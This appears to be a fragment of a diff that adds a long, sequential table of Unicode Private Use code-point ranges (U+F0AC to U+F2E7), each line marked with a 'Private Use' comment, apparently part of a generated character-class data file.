+ ["\uF0AC", "\uF0AC"], /* Private Use */
+ ["\uF0AD", "\uF0AD"], /* Private Use */
+ ["\uF0AE", "\uF0AE"], /* Private Use */
+ ["\uF0AF", "\uF0AF"], /* Private Use */
+ ["\uF0B0", "\uF0B0"], /* Private Use */
+ ["\uF0B1", "\uF0B1"], /* Private Use */
+ ["\uF0B2", "\uF0B2"], /* Private Use */
+ ["\uF0B3", "\uF0B3"], /* Private Use */
+ ["\uF0B4", "\uF0B4"], /* Private Use */
+ ["\uF0B5", "\uF0B5"], /* Private Use */
+ ["\uF0B6", "\uF0B6"], /* Private Use */
+ ["\uF0B7", "\uF0B7"], /* Private Use */
+ ["\uF0B8", "\uF0B8"], /* Private Use */
+ ["\uF0B9", "\uF0B9"], /* Private Use */
+ ["\uF0BA", "\uF0BA"], /* Private Use */
+ ["\uF0BB", "\uF0BB"], /* Private Use */
+ ["\uF0BC", "\uF0BC"], /* Private Use */
+ ["\uF0BD", "\uF0BD"], /* Private Use */
+ ["\uF0BE", "\uF0BE"], /* Private Use */
+ ["\uF0BF", "\uF0BF"], /* Private Use */
+ ["\uF0C0", "\uF0C0"], /* Private Use */
+ ["\uF0C1", "\uF0C1"], /* Private Use */
+ ["\uF0C2", "\uF0C2"], /* Private Use */
+ ["\uF0C3", "\uF0C3"], /* Private Use */
+ ["\uF0C4", "\uF0C4"], /* Private Use */
+ ["\uF0C5", "\uF0C5"], /* Private Use */
+ ["\uF0C6", "\uF0C6"], /* Private Use */
+ ["\uF0C7", "\uF0C7"], /* Private Use */
+ ["\uF0C8", "\uF0C8"], /* Private Use */
+ ["\uF0C9", "\uF0C9"], /* Private Use */
+ ["\uF0CA", "\uF0CA"], /* Private Use */
+ ["\uF0CB", "\uF0CB"], /* Private Use */
+ ["\uF0CC", "\uF0CC"], /* Private Use */
+ ["\uF0CD", "\uF0CD"], /* Private Use */
+ ["\uF0CE", "\uF0CE"], /* Private Use */
+ ["\uF0CF", "\uF0CF"], /* Private Use */
+ ["\uF0D0", "\uF0D0"], /* Private Use */
+ ["\uF0D1", "\uF0D1"], /* Private Use */
+ ["\uF0D2", "\uF0D2"], /* Private Use */
+ ["\uF0D3", "\uF0D3"], /* Private Use */
+ ["\uF0D4", "\uF0D4"], /* Private Use */
+ ["\uF0D5", "\uF0D5"], /* Private Use */
+ ["\uF0D6", "\uF0D6"], /* Private Use */
+ ["\uF0D7", "\uF0D7"], /* Private Use */
+ ["\uF0D8", "\uF0D8"], /* Private Use */
+ ["\uF0D9", "\uF0D9"], /* Private Use */
+ ["\uF0DA", "\uF0DA"], /* Private Use */
+ ["\uF0DB", "\uF0DB"], /* Private Use */
+ ["\uF0DC", "\uF0DC"], /* Private Use */
+ ["\uF0DD", "\uF0DD"], /* Private Use */
+ ["\uF0DE", "\uF0DE"], /* Private Use */
+ ["\uF0DF", "\uF0DF"], /* Private Use */
+ ["\uF0E0", "\uF0E0"], /* Private Use */
+ ["\uF0E1", "\uF0E1"], /* Private Use */
+ ["\uF0E2", "\uF0E2"], /* Private Use */
+ ["\uF0E3", "\uF0E3"], /* Private Use */
+ ["\uF0E4", "\uF0E4"], /* Private Use */
+ ["\uF0E5", "\uF0E5"], /* Private Use */
+ ["\uF0E6", "\uF0E6"], /* Private Use */
+ ["\uF0E7", "\uF0E7"], /* Private Use */
+ ["\uF0E8", "\uF0E8"], /* Private Use */
+ ["\uF0E9", "\uF0E9"], /* Private Use */
+ ["\uF0EA", "\uF0EA"], /* Private Use */
+ ["\uF0EB", "\uF0EB"], /* Private Use */
+ ["\uF0EC", "\uF0EC"], /* Private Use */
+ ["\uF0ED", "\uF0ED"], /* Private Use */
+ ["\uF0EE", "\uF0EE"], /* Private Use */
+ ["\uF0EF", "\uF0EF"], /* Private Use */
+ ["\uF0F0", "\uF0F0"], /* Private Use */
+ ["\uF0F1", "\uF0F1"], /* Private Use */
+ ["\uF0F2", "\uF0F2"], /* Private Use */
+ ["\uF0F3", "\uF0F3"], /* Private Use */
+ ["\uF0F4", "\uF0F4"], /* Private Use */
+ ["\uF0F5", "\uF0F5"], /* Private Use */
+ ["\uF0F6", "\uF0F6"], /* Private Use */
+ ["\uF0F7", "\uF0F7"], /* Private Use */
+ ["\uF0F8", "\uF0F8"], /* Private Use */
+ ["\uF0F9", "\uF0F9"], /* Private Use */
+ ["\uF0FA", "\uF0FA"], /* Private Use */
+ ["\uF0FB", "\uF0FB"], /* Private Use */
+ ["\uF0FC", "\uF0FC"], /* Private Use */
+ ["\uF0FD", "\uF0FD"], /* Private Use */
+ ["\uF0FE", "\uF0FE"], /* Private Use */
+ ["\uF0FF", "\uF0FF"], /* Private Use */
+ ["\uF100", "\uF100"], /* Private Use */
+ ["\uF101", "\uF101"], /* Private Use */
+ ["\uF102", "\uF102"], /* Private Use */
+ ["\uF103", "\uF103"], /* Private Use */
+ ["\uF104", "\uF104"], /* Private Use */
+ ["\uF105", "\uF105"], /* Private Use */
+ ["\uF106", "\uF106"], /* Private Use */
+ ["\uF107", "\uF107"], /* Private Use */
+ ["\uF108", "\uF108"], /* Private Use */
+ ["\uF109", "\uF109"], /* Private Use */
+ ["\uF10A", "\uF10A"], /* Private Use */
+ ["\uF10B", "\uF10B"], /* Private Use */
+ ["\uF10C", "\uF10C"], /* Private Use */
+ ["\uF10D", "\uF10D"], /* Private Use */
+ ["\uF10E", "\uF10E"], /* Private Use */
+ ["\uF10F", "\uF10F"], /* Private Use */
+ ["\uF110", "\uF110"], /* Private Use */
+ ["\uF111", "\uF111"], /* Private Use */
+ ["\uF112", "\uF112"], /* Private Use */
+ ["\uF113", "\uF113"], /* Private Use */
+ ["\uF114", "\uF114"], /* Private Use */
+ ["\uF115", "\uF115"], /* Private Use */
+ ["\uF116", "\uF116"], /* Private Use */
+ ["\uF117", "\uF117"], /* Private Use */
+ ["\uF118", "\uF118"], /* Private Use */
+ ["\uF119", "\uF119"], /* Private Use */
+ ["\uF11A", "\uF11A"], /* Private Use */
+ ["\uF11B", "\uF11B"], /* Private Use */
+ ["\uF11C", "\uF11C"], /* Private Use */
+ ["\uF11D", "\uF11D"], /* Private Use */
+ ["\uF11E", "\uF11E"], /* Private Use */
+ ["\uF11F", "\uF11F"], /* Private Use */
+ ["\uF120", "\uF120"], /* Private Use */
+ ["\uF121", "\uF121"], /* Private Use */
+ ["\uF122", "\uF122"], /* Private Use */
+ ["\uF123", "\uF123"], /* Private Use */
+ ["\uF124", "\uF124"], /* Private Use */
+ ["\uF125", "\uF125"], /* Private Use */
+ ["\uF126", "\uF126"], /* Private Use */
+ ["\uF127", "\uF127"], /* Private Use */
+ ["\uF128", "\uF128"], /* Private Use */
+ ["\uF129", "\uF129"], /* Private Use */
+ ["\uF12A", "\uF12A"], /* Private Use */
+ ["\uF12B", "\uF12B"], /* Private Use */
+ ["\uF12C", "\uF12C"], /* Private Use */
+ ["\uF12D", "\uF12D"], /* Private Use */
+ ["\uF12E", "\uF12E"], /* Private Use */
+ ["\uF12F", "\uF12F"], /* Private Use */
+ ["\uF130", "\uF130"], /* Private Use */
+ ["\uF131", "\uF131"], /* Private Use */
+ ["\uF132", "\uF132"], /* Private Use */
+ ["\uF133", "\uF133"], /* Private Use */
+ ["\uF134", "\uF134"], /* Private Use */
+ ["\uF135", "\uF135"], /* Private Use */
+ ["\uF136", "\uF136"], /* Private Use */
+ ["\uF137", "\uF137"], /* Private Use */
+ ["\uF138", "\uF138"], /* Private Use */
+ ["\uF139", "\uF139"], /* Private Use */
+ ["\uF13A", "\uF13A"], /* Private Use */
+ ["\uF13B", "\uF13B"], /* Private Use */
+ ["\uF13C", "\uF13C"], /* Private Use */
+ ["\uF13D", "\uF13D"], /* Private Use */
+ ["\uF13E", "\uF13E"], /* Private Use */
+ ["\uF13F", "\uF13F"], /* Private Use */
+ ["\uF140", "\uF140"], /* Private Use */
+ ["\uF141", "\uF141"], /* Private Use */
+ ["\uF142", "\uF142"], /* Private Use */
+ ["\uF143", "\uF143"], /* Private Use */
+ ["\uF144", "\uF144"], /* Private Use */
+ ["\uF145", "\uF145"], /* Private Use */
+ ["\uF146", "\uF146"], /* Private Use */
+ ["\uF147", "\uF147"], /* Private Use */
+ ["\uF148", "\uF148"], /* Private Use */
+ ["\uF149", "\uF149"], /* Private Use */
+ ["\uF14A", "\uF14A"], /* Private Use */
+ ["\uF14B", "\uF14B"], /* Private Use */
+ ["\uF14C", "\uF14C"], /* Private Use */
+ ["\uF14D", "\uF14D"], /* Private Use */
+ ["\uF14E", "\uF14E"], /* Private Use */
+ ["\uF14F", "\uF14F"], /* Private Use */
+ ["\uF150", "\uF150"], /* Private Use */
+ ["\uF151", "\uF151"], /* Private Use */
+ ["\uF152", "\uF152"], /* Private Use */
+ ["\uF153", "\uF153"], /* Private Use */
+ ["\uF154", "\uF154"], /* Private Use */
+ ["\uF155", "\uF155"], /* Private Use */
+ ["\uF156", "\uF156"], /* Private Use */
+ ["\uF157", "\uF157"], /* Private Use */
+ ["\uF158", "\uF158"], /* Private Use */
+ ["\uF159", "\uF159"], /* Private Use */
+ ["\uF15A", "\uF15A"], /* Private Use */
+ ["\uF15B", "\uF15B"], /* Private Use */
+ ["\uF15C", "\uF15C"], /* Private Use */
+ ["\uF15D", "\uF15D"], /* Private Use */
+ ["\uF15E", "\uF15E"], /* Private Use */
+ ["\uF15F", "\uF15F"], /* Private Use */
+ ["\uF160", "\uF160"], /* Private Use */
+ ["\uF161", "\uF161"], /* Private Use */
+ ["\uF162", "\uF162"], /* Private Use */
+ ["\uF163", "\uF163"], /* Private Use */
+ ["\uF164", "\uF164"], /* Private Use */
+ ["\uF165", "\uF165"], /* Private Use */
+ ["\uF166", "\uF166"], /* Private Use */
+ ["\uF167", "\uF167"], /* Private Use */
+ ["\uF168", "\uF168"], /* Private Use */
+ ["\uF169", "\uF169"], /* Private Use */
+ ["\uF16A", "\uF16A"], /* Private Use */
+ ["\uF16B", "\uF16B"], /* Private Use */
+ ["\uF16C", "\uF16C"], /* Private Use */
+ ["\uF16D", "\uF16D"], /* Private Use */
+ ["\uF16E", "\uF16E"], /* Private Use */
+ ["\uF16F", "\uF16F"], /* Private Use */
+ ["\uF170", "\uF170"], /* Private Use */
+ ["\uF171", "\uF171"], /* Private Use */
+ ["\uF172", "\uF172"], /* Private Use */
+ ["\uF173", "\uF173"], /* Private Use */
+ ["\uF174", "\uF174"], /* Private Use */
+ ["\uF175", "\uF175"], /* Private Use */
+ ["\uF176", "\uF176"], /* Private Use */
+ ["\uF177", "\uF177"], /* Private Use */
+ ["\uF178", "\uF178"], /* Private Use */
+ ["\uF179", "\uF179"], /* Private Use */
+ ["\uF17A", "\uF17A"], /* Private Use */
+ ["\uF17B", "\uF17B"], /* Private Use */
+ ["\uF17C", "\uF17C"], /* Private Use */
+ ["\uF17D", "\uF17D"], /* Private Use */
+ ["\uF17E", "\uF17E"], /* Private Use */
+ ["\uF17F", "\uF17F"], /* Private Use */
+ ["\uF180", "\uF180"], /* Private Use */
+ ["\uF181", "\uF181"], /* Private Use */
+ ["\uF182", "\uF182"], /* Private Use */
+ ["\uF183", "\uF183"], /* Private Use */
+ ["\uF184", "\uF184"], /* Private Use */
+ ["\uF185", "\uF185"], /* Private Use */
+ ["\uF186", "\uF186"], /* Private Use */
+ ["\uF187", "\uF187"], /* Private Use */
+ ["\uF188", "\uF188"], /* Private Use */
+ ["\uF189", "\uF189"], /* Private Use */
+ ["\uF18A", "\uF18A"], /* Private Use */
+ ["\uF18B", "\uF18B"], /* Private Use */
+ ["\uF18C", "\uF18C"], /* Private Use */
+ ["\uF18D", "\uF18D"], /* Private Use */
+ ["\uF18E", "\uF18E"], /* Private Use */
+ ["\uF18F", "\uF18F"], /* Private Use */
+ ["\uF190", "\uF190"], /* Private Use */
+ ["\uF191", "\uF191"], /* Private Use */
+ ["\uF192", "\uF192"], /* Private Use */
+ ["\uF193", "\uF193"], /* Private Use */
+ ["\uF194", "\uF194"], /* Private Use */
+ ["\uF195", "\uF195"], /* Private Use */
+ ["\uF196", "\uF196"], /* Private Use */
+ ["\uF197", "\uF197"], /* Private Use */
+ ["\uF198", "\uF198"], /* Private Use */
+ ["\uF199", "\uF199"], /* Private Use */
+ ["\uF19A", "\uF19A"], /* Private Use */
+ ["\uF19B", "\uF19B"], /* Private Use */
+ ["\uF19C", "\uF19C"], /* Private Use */
+ ["\uF19D", "\uF19D"], /* Private Use */
+ ["\uF19E", "\uF19E"], /* Private Use */
+ ["\uF19F", "\uF19F"], /* Private Use */
+ ["\uF1A0", "\uF1A0"], /* Private Use */
+ ["\uF1A1", "\uF1A1"], /* Private Use */
+ ["\uF1A2", "\uF1A2"], /* Private Use */
+ ["\uF1A3", "\uF1A3"], /* Private Use */
+ ["\uF1A4", "\uF1A4"], /* Private Use */
+ ["\uF1A5", "\uF1A5"], /* Private Use */
+ ["\uF1A6", "\uF1A6"], /* Private Use */
+ ["\uF1A7", "\uF1A7"], /* Private Use */
+ ["\uF1A8", "\uF1A8"], /* Private Use */
+ ["\uF1A9", "\uF1A9"], /* Private Use */
+ ["\uF1AA", "\uF1AA"], /* Private Use */
+ ["\uF1AB", "\uF1AB"], /* Private Use */
+ ["\uF1AC", "\uF1AC"], /* Private Use */
+ ["\uF1AD", "\uF1AD"], /* Private Use */
+ ["\uF1AE", "\uF1AE"], /* Private Use */
+ ["\uF1AF", "\uF1AF"], /* Private Use */
+ ["\uF1B0", "\uF1B0"], /* Private Use */
+ ["\uF1B1", "\uF1B1"], /* Private Use */
+ ["\uF1B2", "\uF1B2"], /* Private Use */
+ ["\uF1B3", "\uF1B3"], /* Private Use */
+ ["\uF1B4", "\uF1B4"], /* Private Use */
+ ["\uF1B5", "\uF1B5"], /* Private Use */
+ ["\uF1B6", "\uF1B6"], /* Private Use */
+ ["\uF1B7", "\uF1B7"], /* Private Use */
+ ["\uF1B8", "\uF1B8"], /* Private Use */
+ ["\uF1B9", "\uF1B9"], /* Private Use */
+ ["\uF1BA", "\uF1BA"], /* Private Use */
+ ["\uF1BB", "\uF1BB"], /* Private Use */
+ ["\uF1BC", "\uF1BC"], /* Private Use */
+ ["\uF1BD", "\uF1BD"], /* Private Use */
+ ["\uF1BE", "\uF1BE"], /* Private Use */
+ ["\uF1BF", "\uF1BF"], /* Private Use */
+ ["\uF1C0", "\uF1C0"], /* Private Use */
+ ["\uF1C1", "\uF1C1"], /* Private Use */
+ ["\uF1C2", "\uF1C2"], /* Private Use */
+ ["\uF1C3", "\uF1C3"], /* Private Use */
+ ["\uF1C4", "\uF1C4"], /* Private Use */
+ ["\uF1C5", "\uF1C5"], /* Private Use */
+ ["\uF1C6", "\uF1C6"], /* Private Use */
+ ["\uF1C7", "\uF1C7"], /* Private Use */
+ ["\uF1C8", "\uF1C8"], /* Private Use */
+ ["\uF1C9", "\uF1C9"], /* Private Use */
+ ["\uF1CA", "\uF1CA"], /* Private Use */
+ ["\uF1CB", "\uF1CB"], /* Private Use */
+ ["\uF1CC", "\uF1CC"], /* Private Use */
+ ["\uF1CD", "\uF1CD"], /* Private Use */
+ ["\uF1CE", "\uF1CE"], /* Private Use */
+ ["\uF1CF", "\uF1CF"], /* Private Use */
+ ["\uF1D0", "\uF1D0"], /* Private Use */
+ ["\uF1D1", "\uF1D1"], /* Private Use */
+ ["\uF1D2", "\uF1D2"], /* Private Use */
+ ["\uF1D3", "\uF1D3"], /* Private Use */
+ ["\uF1D4", "\uF1D4"], /* Private Use */
+ ["\uF1D5", "\uF1D5"], /* Private Use */
+ ["\uF1D6", "\uF1D6"], /* Private Use */
+ ["\uF1D7", "\uF1D7"], /* Private Use */
+ ["\uF1D8", "\uF1D8"], /* Private Use */
+ ["\uF1D9", "\uF1D9"], /* Private Use */
+ ["\uF1DA", "\uF1DA"], /* Private Use */
+ ["\uF1DB", "\uF1DB"], /* Private Use */
+ ["\uF1DC", "\uF1DC"], /* Private Use */
+ ["\uF1DD", "\uF1DD"], /* Private Use */
+ ["\uF1DE", "\uF1DE"], /* Private Use */
+ ["\uF1DF", "\uF1DF"], /* Private Use */
+ ["\uF1E0", "\uF1E0"], /* Private Use */
+ ["\uF1E1", "\uF1E1"], /* Private Use */
+ ["\uF1E2", "\uF1E2"], /* Private Use */
+ ["\uF1E3", "\uF1E3"], /* Private Use */
+ ["\uF1E4", "\uF1E4"], /* Private Use */
+ ["\uF1E5", "\uF1E5"], /* Private Use */
+ ["\uF1E6", "\uF1E6"], /* Private Use */
+ ["\uF1E7", "\uF1E7"], /* Private Use */
+ ["\uF1E8", "\uF1E8"], /* Private Use */
+ ["\uF1E9", "\uF1E9"], /* Private Use */
+ ["\uF1EA", "\uF1EA"], /* Private Use */
+ ["\uF1EB", "\uF1EB"], /* Private Use */
+ ["\uF1EC", "\uF1EC"], /* Private Use */
+ ["\uF1ED", "\uF1ED"], /* Private Use */
+ ["\uF1EE", "\uF1EE"], /* Private Use */
+ ["\uF1EF", "\uF1EF"], /* Private Use */
+ ["\uF1F0", "\uF1F0"], /* Private Use */
+ ["\uF1F1", "\uF1F1"], /* Private Use */
+ ["\uF1F2", "\uF1F2"], /* Private Use */
+ ["\uF1F3", "\uF1F3"], /* Private Use */
+ ["\uF1F4", "\uF1F4"], /* Private Use */
+ ["\uF1F5", "\uF1F5"], /* Private Use */
+ ["\uF1F6", "\uF1F6"], /* Private Use */
+ ["\uF1F7", "\uF1F7"], /* Private Use */
+ ["\uF1F8", "\uF1F8"], /* Private Use */
+ ["\uF1F9", "\uF1F9"], /* Private Use */
+ ["\uF1FA", "\uF1FA"], /* Private Use */
+ ["\uF1FB", "\uF1FB"], /* Private Use */
+ ["\uF1FC", "\uF1FC"], /* Private Use */
+ ["\uF1FD", "\uF1FD"], /* Private Use */
+ ["\uF1FE", "\uF1FE"], /* Private Use */
+ ["\uF1FF", "\uF1FF"], /* Private Use */
+ ["\uF200", "\uF200"], /* Private Use */
+ ["\uF201", "\uF201"], /* Private Use */
+ ["\uF202", "\uF202"], /* Private Use */
+ ["\uF203", "\uF203"], /* Private Use */
+ ["\uF204", "\uF204"], /* Private Use */
+ ["\uF205", "\uF205"], /* Private Use */
+ ["\uF206", "\uF206"], /* Private Use */
+ ["\uF207", "\uF207"], /* Private Use */
+ ["\uF208", "\uF208"], /* Private Use */
+ ["\uF209", "\uF209"], /* Private Use */
+ ["\uF20A", "\uF20A"], /* Private Use */
+ ["\uF20B", "\uF20B"], /* Private Use */
+ ["\uF20C", "\uF20C"], /* Private Use */
+ ["\uF20D", "\uF20D"], /* Private Use */
+ ["\uF20E", "\uF20E"], /* Private Use */
+ ["\uF20F", "\uF20F"], /* Private Use */
+ ["\uF210", "\uF210"], /* Private Use */
+ ["\uF211", "\uF211"], /* Private Use */
+ ["\uF212", "\uF212"], /* Private Use */
+ ["\uF213", "\uF213"], /* Private Use */
+ ["\uF214", "\uF214"], /* Private Use */
+ ["\uF215", "\uF215"], /* Private Use */
+ ["\uF216", "\uF216"], /* Private Use */
+ ["\uF217", "\uF217"], /* Private Use */
+ ["\uF218", "\uF218"], /* Private Use */
+ ["\uF219", "\uF219"], /* Private Use */
+ ["\uF21A", "\uF21A"], /* Private Use */
+ ["\uF21B", "\uF21B"], /* Private Use */
+ ["\uF21C", "\uF21C"], /* Private Use */
+ ["\uF21D", "\uF21D"], /* Private Use */
+ ["\uF21E", "\uF21E"], /* Private Use */
+ ["\uF21F", "\uF21F"], /* Private Use */
+ ["\uF220", "\uF220"], /* Private Use */
+ ["\uF221", "\uF221"], /* Private Use */
+ ["\uF222", "\uF222"], /* Private Use */
+ ["\uF223", "\uF223"], /* Private Use */
+ ["\uF224", "\uF224"], /* Private Use */
+ ["\uF225", "\uF225"], /* Private Use */
+ ["\uF226", "\uF226"], /* Private Use */
+ ["\uF227", "\uF227"], /* Private Use */
+ ["\uF228", "\uF228"], /* Private Use */
+ ["\uF229", "\uF229"], /* Private Use */
+ ["\uF22A", "\uF22A"], /* Private Use */
+ ["\uF22B", "\uF22B"], /* Private Use */
+ ["\uF22C", "\uF22C"], /* Private Use */
+ ["\uF22D", "\uF22D"], /* Private Use */
+ ["\uF22E", "\uF22E"], /* Private Use */
+ ["\uF22F", "\uF22F"], /* Private Use */
+ ["\uF230", "\uF230"], /* Private Use */
+ ["\uF231", "\uF231"], /* Private Use */
+ ["\uF232", "\uF232"], /* Private Use */
+ ["\uF233", "\uF233"], /* Private Use */
+ ["\uF234", "\uF234"], /* Private Use */
+ ["\uF235", "\uF235"], /* Private Use */
+ ["\uF236", "\uF236"], /* Private Use */
+ ["\uF237", "\uF237"], /* Private Use */
+ ["\uF238", "\uF238"], /* Private Use */
+ ["\uF239", "\uF239"], /* Private Use */
+ ["\uF23A", "\uF23A"], /* Private Use */
+ ["\uF23B", "\uF23B"], /* Private Use */
+ ["\uF23C", "\uF23C"], /* Private Use */
+ ["\uF23D", "\uF23D"], /* Private Use */
+ ["\uF23E", "\uF23E"], /* Private Use */
+ ["\uF23F", "\uF23F"], /* Private Use */
+ ["\uF240", "\uF240"], /* Private Use */
+ ["\uF241", "\uF241"], /* Private Use */
+ ["\uF242", "\uF242"], /* Private Use */
+ ["\uF243", "\uF243"], /* Private Use */
+ ["\uF244", "\uF244"], /* Private Use */
+ ["\uF245", "\uF245"], /* Private Use */
+ ["\uF246", "\uF246"], /* Private Use */
+ ["\uF247", "\uF247"], /* Private Use */
+ ["\uF248", "\uF248"], /* Private Use */
+ ["\uF249", "\uF249"], /* Private Use */
+ ["\uF24A", "\uF24A"], /* Private Use */
+ ["\uF24B", "\uF24B"], /* Private Use */
+ ["\uF24C", "\uF24C"], /* Private Use */
+ ["\uF24D", "\uF24D"], /* Private Use */
+ ["\uF24E", "\uF24E"], /* Private Use */
+ ["\uF24F", "\uF24F"], /* Private Use */
+ ["\uF250", "\uF250"], /* Private Use */
+ ["\uF251", "\uF251"], /* Private Use */
+ ["\uF252", "\uF252"], /* Private Use */
+ ["\uF253", "\uF253"], /* Private Use */
+ ["\uF254", "\uF254"], /* Private Use */
+ ["\uF255", "\uF255"], /* Private Use */
+ ["\uF256", "\uF256"], /* Private Use */
+ ["\uF257", "\uF257"], /* Private Use */
+ ["\uF258", "\uF258"], /* Private Use */
+ ["\uF259", "\uF259"], /* Private Use */
+ ["\uF25A", "\uF25A"], /* Private Use */
+ ["\uF25B", "\uF25B"], /* Private Use */
+ ["\uF25C", "\uF25C"], /* Private Use */
+ ["\uF25D", "\uF25D"], /* Private Use */
+ ["\uF25E", "\uF25E"], /* Private Use */
+ ["\uF25F", "\uF25F"], /* Private Use */
+ ["\uF260", "\uF260"], /* Private Use */
+ ["\uF261", "\uF261"], /* Private Use */
+ ["\uF262", "\uF262"], /* Private Use */
+ ["\uF263", "\uF263"], /* Private Use */
+ ["\uF264", "\uF264"], /* Private Use */
+ ["\uF265", "\uF265"], /* Private Use */
+ ["\uF266", "\uF266"], /* Private Use */
+ ["\uF267", "\uF267"], /* Private Use */
+ ["\uF268", "\uF268"], /* Private Use */
+ ["\uF269", "\uF269"], /* Private Use */
+ ["\uF26A", "\uF26A"], /* Private Use */
+ ["\uF26B", "\uF26B"], /* Private Use */
+ ["\uF26C", "\uF26C"], /* Private Use */
+ ["\uF26D", "\uF26D"], /* Private Use */
+ ["\uF26E", "\uF26E"], /* Private Use */
+ ["\uF26F", "\uF26F"], /* Private Use */
+ ["\uF270", "\uF270"], /* Private Use */
+ ["\uF271", "\uF271"], /* Private Use */
+ ["\uF272", "\uF272"], /* Private Use */
+ ["\uF273", "\uF273"], /* Private Use */
+ ["\uF274", "\uF274"], /* Private Use */
+ ["\uF275", "\uF275"], /* Private Use */
+ ["\uF276", "\uF276"], /* Private Use */
+ ["\uF277", "\uF277"], /* Private Use */
+ ["\uF278", "\uF278"], /* Private Use */
+ ["\uF279", "\uF279"], /* Private Use */
+ ["\uF27A", "\uF27A"], /* Private Use */
+ ["\uF27B", "\uF27B"], /* Private Use */
+ ["\uF27C", "\uF27C"], /* Private Use */
+ ["\uF27D", "\uF27D"], /* Private Use */
+ ["\uF27E", "\uF27E"], /* Private Use */
+ ["\uF27F", "\uF27F"], /* Private Use */
+ ["\uF280", "\uF280"], /* Private Use */
+ ["\uF281", "\uF281"], /* Private Use */
+ ["\uF282", "\uF282"], /* Private Use */
+ ["\uF283", "\uF283"], /* Private Use */
+ ["\uF284", "\uF284"], /* Private Use */
+ ["\uF285", "\uF285"], /* Private Use */
+ ["\uF286", "\uF286"], /* Private Use */
+ ["\uF287", "\uF287"], /* Private Use */
+ ["\uF288", "\uF288"], /* Private Use */
+ ["\uF289", "\uF289"], /* Private Use */
+ ["\uF28A", "\uF28A"], /* Private Use */
+ ["\uF28B", "\uF28B"], /* Private Use */
+ ["\uF28C", "\uF28C"], /* Private Use */
+ ["\uF28D", "\uF28D"], /* Private Use */
+ ["\uF28E", "\uF28E"], /* Private Use */
+ ["\uF28F", "\uF28F"], /* Private Use */
+ ["\uF290", "\uF290"], /* Private Use */
+ ["\uF291", "\uF291"], /* Private Use */
+ ["\uF292", "\uF292"], /* Private Use */
+ ["\uF293", "\uF293"], /* Private Use */
+ ["\uF294", "\uF294"], /* Private Use */
+ ["\uF295", "\uF295"], /* Private Use */
+ ["\uF296", "\uF296"], /* Private Use */
+ ["\uF297", "\uF297"], /* Private Use */
+ ["\uF298", "\uF298"], /* Private Use */
+ ["\uF299", "\uF299"], /* Private Use */
+ ["\uF29A", "\uF29A"], /* Private Use */
+ ["\uF29B", "\uF29B"], /* Private Use */
+ ["\uF29C", "\uF29C"], /* Private Use */
+ ["\uF29D", "\uF29D"], /* Private Use */
+ ["\uF29E", "\uF29E"], /* Private Use */
+ ["\uF29F", "\uF29F"], /* Private Use */
+ ["\uF2A0", "\uF2A0"], /* Private Use */
+ ["\uF2A1", "\uF2A1"], /* Private Use */
+ ["\uF2A2", "\uF2A2"], /* Private Use */
+ ["\uF2A3", "\uF2A3"], /* Private Use */
+ ["\uF2A4", "\uF2A4"], /* Private Use */
+ ["\uF2A5", "\uF2A5"], /* Private Use */
+ ["\uF2A6", "\uF2A6"], /* Private Use */
+ ["\uF2A7", "\uF2A7"], /* Private Use */
+ ["\uF2A8", "\uF2A8"], /* Private Use */
+ ["\uF2A9", "\uF2A9"], /* Private Use */
+ ["\uF2AA", "\uF2AA"], /* Private Use */
+ ["\uF2AB", "\uF2AB"], /* Private Use */
+ ["\uF2AC", "\uF2AC"], /* Private Use */
+ ["\uF2AD", "\uF2AD"], /* Private Use */
+ ["\uF2AE", "\uF2AE"], /* Private Use */
+ ["\uF2AF", "\uF2AF"], /* Private Use */
+ ["\uF2B0", "\uF2B0"], /* Private Use */
+ ["\uF2B1", "\uF2B1"], /* Private Use */
+ ["\uF2B2", "\uF2B2"], /* Private Use */
+ ["\uF2B3", "\uF2B3"], /* Private Use */
+ ["\uF2B4", "\uF2B4"], /* Private Use */
+ ["\uF2B5", "\uF2B5"], /* Private Use */
+ ["\uF2B6", "\uF2B6"], /* Private Use */
+ ["\uF2B7", "\uF2B7"], /* Private Use */
+ ["\uF2B8", "\uF2B8"], /* Private Use */
+ ["\uF2B9", "\uF2B9"], /* Private Use */
+ ["\uF2BA", "\uF2BA"], /* Private Use */
+ ["\uF2BB", "\uF2BB"], /* Private Use */
+ ["\uF2BC", "\uF2BC"], /* Private Use */
+ ["\uF2BD", "\uF2BD"], /* Private Use */
+ ["\uF2BE", "\uF2BE"], /* Private Use */
+ ["\uF2BF", "\uF2BF"], /* Private Use */
+ ["\uF2C0", "\uF2C0"], /* Private Use */
+ ["\uF2C1", "\uF2C1"], /* Private Use */
+ ["\uF2C2", "\uF2C2"], /* Private Use */
+ ["\uF2C3", "\uF2C3"], /* Private Use */
+ ["\uF2C4", "\uF2C4"], /* Private Use */
+ ["\uF2C5", "\uF2C5"], /* Private Use */
+ ["\uF2C6", "\uF2C6"], /* Private Use */
+ ["\uF2C7", "\uF2C7"], /* Private Use */
+ ["\uF2C8", "\uF2C8"], /* Private Use */
+ ["\uF2C9", "\uF2C9"], /* Private Use */
+ ["\uF2CA", "\uF2CA"], /* Private Use */
+ ["\uF2CB", "\uF2CB"], /* Private Use */
+ ["\uF2CC", "\uF2CC"], /* Private Use */
+ ["\uF2CD", "\uF2CD"], /* Private Use */
+ ["\uF2CE", "\uF2CE"], /* Private Use */
+ ["\uF2CF", "\uF2CF"], /* Private Use */
+ ["\uF2D0", "\uF2D0"], /* Private Use */
+ ["\uF2D1", "\uF2D1"], /* Private Use */
+ ["\uF2D2", "\uF2D2"], /* Private Use */
+ ["\uF2D3", "\uF2D3"], /* Private Use */
+ ["\uF2D4", "\uF2D4"], /* Private Use */
+ ["\uF2D5", "\uF2D5"], /* Private Use */
+ ["\uF2D6", "\uF2D6"], /* Private Use */
+ ["\uF2D7", "\uF2D7"], /* Private Use */
+ ["\uF2D8", "\uF2D8"], /* Private Use */
+ ["\uF2D9", "\uF2D9"], /* Private Use */
+ ["\uF2DA", "\uF2DA"], /* Private Use */
+ ["\uF2DB", "\uF2DB"], /* Private Use */
+ ["\uF2DC", "\uF2DC"], /* Private Use */
+ ["\uF2DD", "\uF2DD"], /* Private Use */
+ ["\uF2DE", "\uF2DE"], /* Private Use */
+ ["\uF2DF", "\uF2DF"], /* Private Use */
+ ["\uF2E0", "\uF2E0"], /* Private Use */
+ ["\uF2E1", "\uF2E1"], /* Private Use */
+ ["\uF2E2", "\uF2E2"], /* Private Use */
+ ["\uF2E3", "\uF2E3"], /* Private Use */
+ ["\uF2E4", "\uF2E4"], /* Private Use */
+ ["\uF2E5", "\uF2E5"], /* Private Use */
+ ["\uF2E6", "\uF2E6"], /* Private Use */
+ ["\uF2E7", "\uF2E7"], /* Private Use */
